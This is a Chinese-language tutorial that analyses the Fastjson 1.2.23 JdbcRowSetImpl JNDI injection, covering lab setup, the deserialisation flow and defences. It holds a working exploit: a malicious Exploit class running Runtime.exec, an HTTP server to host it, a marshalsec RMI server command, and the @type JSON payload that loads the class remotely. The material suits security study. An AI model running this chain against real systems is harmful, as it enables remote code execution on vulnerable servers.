利用JdbcRowSetImpl链对Fastjson1.2.23Jndi注入
字数 1226 2025-08-11 23:05:55
Fastjson 1.2.23 JdbcRowSetImpl链JNDI注入漏洞分析
1. Fastjson简介
Fastjson是阿里巴巴开发的高性能JSON库,主要特点:
- 快速:号称比任何基于Java的解析器更快
- 强大:支持普通JDK类、Java Bean、Collection、Map、Date等
- 零依赖:仅依赖JDK
2. 实验环境搭建
所需组件
- Fastjson 1.2.23
- JDK 1.8.151或更低版本(漏洞利用需要JDK 6u132/7u122/8u113之前版本)
环境配置
- 在pom.xml中添加依赖:
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
</dependencies>
3. Fastjson基础使用
示例User类
public class User {
private String name;
private int age;
// 构造方法
public User() {}
public User(String name, int age) {
this.name = name;
this.age = age;
}
// getter和setter
public String getName() { return name; }
public void setName(String name) {
this.name = name;
System.out.println("setName");
System.out.println(this.name);
}
public int getAge() { return age; }
public void setAge(int age) {
this.age = age;
System.out.println("setAge");
System.out.println(this.age);
}
}
测试代码
import com.alibaba.fastjson.*;
public class test {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
String str = "{\"@type\":\"User\",\"name\":\"cmd\"}";
Object obj1 = JSON.parseObject(str);
}
}
4. Fastjson反序列化流程分析
-
初始化解析器:
- 创建DefaultJSONParser解析器
- 设置input、config、symbolTable和token等参数
-
解析过程:
- 根据token值进入相应case分支
- 初始化JSONObject对象并存储在HashMap中
-
类型处理:
- 检测"@type"属性
- 通过TypeUtils.loadClass加载指定类
- 检查类名是否在黑名单中(仅java.lang.Thread)
-
反序列化器创建:
- 通过createJavaBeanDeserializer创建反序列化器
- JavaBeanInfo.build方法收集满足条件的setter/getter方法
-
属性设置:
- 通过反射调用setter方法设置属性值
5. JdbcRowSetImpl链利用分析
漏洞利用条件
- JDK版本需在6u132/7u122/8u113之前
- 或设置以下系统属性:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
利用步骤
- 准备恶意类:
public class Exploit {
public Exploit() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
new Exploit();
}
}
编译为Exploit.class文件
- 启动服务:
- HTTP服务(托管恶意类):
python -m http.server 8000 - RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Exploit" 1389
- 构造Payload:
String str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1389/Exploit\",\"autoCommit\":false}";
漏洞触发流程
- Fastjson解析payload时加载JdbcRowSetImpl类
- 通过反射调用setDataSourceName()方法设置RMI地址
- 调用setAutoCommit()方法
- 在setAutoCommit()中触发connect()方法
- connect()方法调用InitialContext.lookup()触发JNDI注入
- 从恶意RMI服务器加载并执行Exploit类
6. 关键点总结
-
漏洞根源:
- Fastjson在反序列化时自动调用setter方法
- 通过"@type"指定任意类进行实例化
- 黑名单机制不完善
-
利用链关键:
- JdbcRowSetImpl的setDataSourceName和setAutoCommit方法
- setAutoCommit触发JNDI查询
-
防御措施:
- 升级Fastjson到安全版本
- 使用SafeMode防止任意类反序列化
- 升级JDK到不受JNDI注入影响的版本
7. 参考资源
- Fastjson官方文档
- JNDI注入相关研究
- Java反序列化安全最佳实践